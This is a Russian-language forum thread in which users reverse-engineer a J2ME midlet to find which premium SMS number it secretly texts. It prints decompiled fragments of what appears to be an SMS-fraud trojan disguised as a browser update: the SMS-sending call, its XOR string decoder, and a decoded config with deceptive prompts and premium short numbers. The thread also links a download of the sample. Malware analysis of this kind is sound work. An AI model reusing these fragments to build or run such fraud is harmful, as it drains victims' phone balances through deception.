Помогите узнать, на какой номер и преф мидлет шлет смс.

Discussion in 'Реверсинг' started by DiordnA, 24 Mar 2013.

  1. DiordnA

    DiordnA New Member

    Joined:
    27 Jan 2013
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Есть мидлет, нужно узнать на какие номера отсылает смс и с каким префом, стандартная декомпиляция не принесла результатов.
    Подскажите, пожалуйста, как узнать?

    Зы. Если ошибся веткой, просьба модераторов перенести тему в нужную ветку.
     
  2. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    В этой теме должны собраться телепаты, чтобы получить ссылку на мидлет и узнать что же именно произошло после "стандартной декомпиляции"?
     
    _________________________
  3. DiordnA

    DiordnA New Member

    Joined:
    27 Jan 2013
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Вот для примера сам мидлет: http://www.sendspace.com/file/5pc886
     
  4. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    И в чем проблема? Декомпилируешь чем-нибудь, видишь код типа:
    Code:
    (localObject2 = (TextMessage)(localObject1 = (MessageConnection)Connector.open("sms://" + i.jdField_a_of_type_Array2dOfJavaLangString[0][i.e])).newMessage("text")).setAddress("sms://" + i.jdField_a_of_type_Array2dOfJavaLangString[0][i.e]);
          
    
    Смотришь содержимое класса i, находишь там примитивное кодирование строк XOR'ом
    Code:
        private static String b(String s)
        {
            StringBuffer stringbuffer;
            s = midlet.midlet.getClass().getResourceAsStream(s);
            stringbuffer = new StringBuffer();
            byte abyte0[] = new byte[1];
            int l = 0;
            char ac[] = {
                'u', 'o', '4', 'j', 'P'
            };
            String s1 = new String(ac);
            while(s.read(abyte0, 0, 1) != -1) 
            {
                int i1;
                if((i1 = (char)abyte0[0] ^ s1.charAt(l)) > 128)
                    i1 += 1104;
                if(i1 != 13)
                    stringbuffer.append((char)i1);
                if(l + 1 < s1.length())
                    l++;
                else
                    l = 0;
            }
            s.close();
            return stringbuffer.toString().trim();
            JVM INSTR pop ;
            return "";
        }
    
    Прогоняешь через такую процедуру config.txt и const.txt, которые содержатся в мидлете, получаешь, например:
    Code:
    config['alarmType']="click"
    config['restartBlocked']="false"
    config['rmsName']="smspirat-click"
    config['autoDownTo']="39"
    config['payPeriod']="7"
    config['requestFrom']="50"
    config['everyClick']="8"
    config['notification']="false"
    config['autoDownTime']="5"
    config['midletName']="browser_update"
    config['realName']="browser_update.jar"
    config['link']="http://online29.net/content"
    welcome['title']="{midletName}"
    welcome['value']="Для продолжения загрузки \"{midletName}\" нажмите кнопку Далее."
    welcome['leftKey']="Далее"
    welcome['rightKey']="Усл."
    notification['title']="{midletName}"
    notification['value']="{progress}% выполнено. Продолжить?"
    agreement['title']="Соглашение"
    agreement['leftKey']="Ок"
    agreement['value']="Для получения возможности доступа к скачиванию контента из файлового архива Вы должны ознакомиться и согласиться со следующими условиями:
    1. Сервис предоставляет Вам законное оплачиваемое техническое решение дающее возможность Вам иметь доступ и скачивать, тексты, программное обеспечение, скрипты, графические изображения, звуки, видео, анимацию, и прочие материалы (далее \"Контент\"), в виде одного или нескольких электронных файлов.
    2. Вы соглашаетесь с тем, что Вы несете все риски связанные с использованием Услуг.
    2.1. Сервис не несет ответственности за какие-либо продукты или услуги, которые рекламируются или предлагаются третьими сторонами посредством Услуг, в виде баннеров или другой рекламы.
    2.2. Вы прямо соглашаетесь с тем, что сервис не несет ответственности за дискредитирующий Контент, оскорбительную или незаконную деятельность третьих лиц.Риск ущерба и/или убытков от такого Контента ложиться полностью на Вас.
    3. Сервис не несет ответственности за любой прямой или косвенный ущерб, возникший в результате использования приложения, включая упущенную прибыль и понесенные убытки.
    4. Услуги сервиса предоставляемые Вам являются платными.
    4. При первом запуске приложений всегда запрашивается разрешение на возможность передачи регистрационных данных и оплаты с использованием короткого номера.
    5. Абонент имеет полное право отказаться от передачи регистрационных данных и оплаты услуг сервиса.
    6. Для оплаты доступа к сервису, Вам необходимо произвести отправку сообщений на платные короткие номера:
    
    Для России на сервисные номера:
    8510 (~ 300 руб.);
    9797 (~ 200 руб.);
    7204 (~ 150 руб.);
    8503 (~ 100 руб.);
    7202 (~  75 руб.);
    7201 (~  40 руб.).
    
    Стоимость указана с НДС.
    Абонентам Мегафон, МТС и Билайн необходимо отправить не более 1 сообщения.
    При отправке более 1 сообщения предоставляется доступ к дополнительному контенту.
    Данная услуга предоставляется для абонентов всех национальных GSM Операторов России.
    Для абонентов МТС:
    Стоимость доступа к услугам контент-провайдера устанавливается Вашим оператором.
    Подробную информацию можно узнать в разделе \"Услуги по коротким номерам\" на сайте www.mts.ru или обратившись в контактный центр по телефону 8 800 333 0890 (0890 для абонентов МТС)
    
    Для Украины на сервисные номера:
    7204 (~ 12 грн.).
    
    Стоимость указана с НДС.
    Дополнительно удерживается сбор в ПФ 7,5% от стоимости запроса без НДС.
    Услугу предоставляет ООО \"Азимут Медиа\". 
    Телефон службы поддержки абонентов: 0800604461, с 9:00 до 18:00, ежедневно.
    Звонки со стационарных телефонов бесплатные, с мобильных телефонов тариф устанавливает ваш оператор.
    Данная услуга предоставляется для абонентов всех национальных GSM Операторов Украины.
    
    Для Казахстана на сервисные номера:
    7132 (~ 300 тнг.).
    Стоимость указана с НДС.
    Данная услуга предоставляется для абонентов всех национальных GSM Операторов Казахстана.
    
    Для Германии на сервисные номера:
    82555 (~ 5 eur.);
    Стоимость указана с НДС.
    Данная услуга предоставляется для абонентов всех национальных GSM Операторов Германии.
    
    Для Армении на сервисные номера:
    7132 (~ 1000 amd.);
    Стоимость указана с НДС.
    Данная услуга предоставляется для абонентов всех национальных GSM Операторов Армении.
    
    Для Израиля на сервисные номера:
    5533 (~ 20 ils.);
    Стоимость указана с НДС.
    Данная услуга предоставляется для абонентов всех национальных GSM Операторов Израиля.
    
    Для Эстонии на сервисные номера:
    1206 (~ 50 eek.);
    Стоимость указана с НДС.
    Данная услуга предоставляется для абонентов всех национальных GSM Операторов Эстонии.
    
    Для Азербайджана на сервисные номера:
    3303 (~ 140 azn.);
    3302 (~ 100 azn.);
    Стоимость указана с НДС.
    Данная услуга предоставляется для абонентов всех национальных GSM Операторов Азербайджана.
    
    Для Литвы на сервисные номера:
    1624 (~ 10 ttl.);
    Стоимость указана с НДС.
    Данная услуга предоставляется для абонентов всех национальных GSM Операторов Литвы.
    
    Для Латвии на сервисные номера:
    1824 (~ 2 lvl.);
    Стоимость указана с НДС.
    Данная услуга предоставляется для абонентов всех национальных GSM Операторов Латвии.
    
    Для Киргизии на сервисные номера:
    7132 (~ 110 kgs.);
    Стоимость указана с НДС.
    Данная услуга предоставляется для абонентов всех национальных GSM Операторов Киргизии.
    
    Для Франции на сервисные номера:
    81015 (~ 3 eur.);
    Стоимость указана с НДС.
    Данная услуга предоставляется для абонентов всех национальных GSM Операторов Франции.
    
    Для Канады на сервисные номера:
    88188 (~ 3 cad.);
    Стоимость указана с НДС.
    Данная услуга предоставляется для абонентов всех национальных GSM Операторов Канады.
    
    
    7. В случае обнаружения спама или иных запрещенных методов распространения приложений для оплаты доступа к сервису, Администрация просит уведомлять о таких случаях в Службу поддержки Абонентов: http://sms24.me/
    8. Вы подтверждаете, что Вы полностью способны и правомочны заключить данное Пользовательское Соглашение и следовать его условиям.
    Для этого необходимо обратиться в Службу поддержки Абонентов: http://sms24.me/
    Для активации доступа необходимо разрешить отправку запроса с использованием платного короткого сервисного номера.
    
    Полную информацию о тарифах вы можете получить на веб-сайте: http://sms24.me/price/
    Администрация вправе в любое время без уведомления Абонента может изменять текст настоящего Соглашения, Регулирующих документов и/или любые иные условия использования Сервиса."
    click['firstTitle']="Идет загрузка, ждите..."
    click['secondTitle']="Ручная загрузка"
    click['value']="Выполнено:"
    click['valueBottom']="Для быстрой загрузки нажимайте кнопку \"ОК\" до 100%"
    click['leftKey']="OK"
    end['trueTitle']="Completed!"
    end['falseTitle']="Ошибка!"
    end['trueValue']="Вам придет пароль со ссылкой, который Вы можете использовать для загрузки выбранного файла."
    end['falseValue']="Ошибка! Для успешной активации приложения необходимо разрешить обмен текстовыми данными. Нажмите кнопку Далее для повторной попытки активации."
    end['trueLeftKey']="На сайт"
    end['falseLeftKey']="Далее"
    end['rightKey']="Выйти"
    restart['title']="Completed!"
    restart['value']="Приложение уже было активировано и не нуждается в повторной активации, используйте полученную по SMS ссылку для загрузки файлов."
    restart['leftKey']="На сайт"
    restart['rightKey']="Выйти"
    
     
    _________________________
    1 person likes this.
  5. DiordnA

    DiordnA New Member

    Joined:
    27 Jan 2013
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Скажите, пожалуйста, как прогнать через эту процедуру?
     
  6. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    Научиться писать на каком-нибудь языке для начала.
     
    _________________________
  7. mr.DoC

    mr.DoC Banned

    Joined:
    14 Apr 2010
    Messages:
    1
    Likes Received:
    2
    Reputations:
    0
    Этот мидлет отсылает на номер 8503 сообщение 3052008712 042 123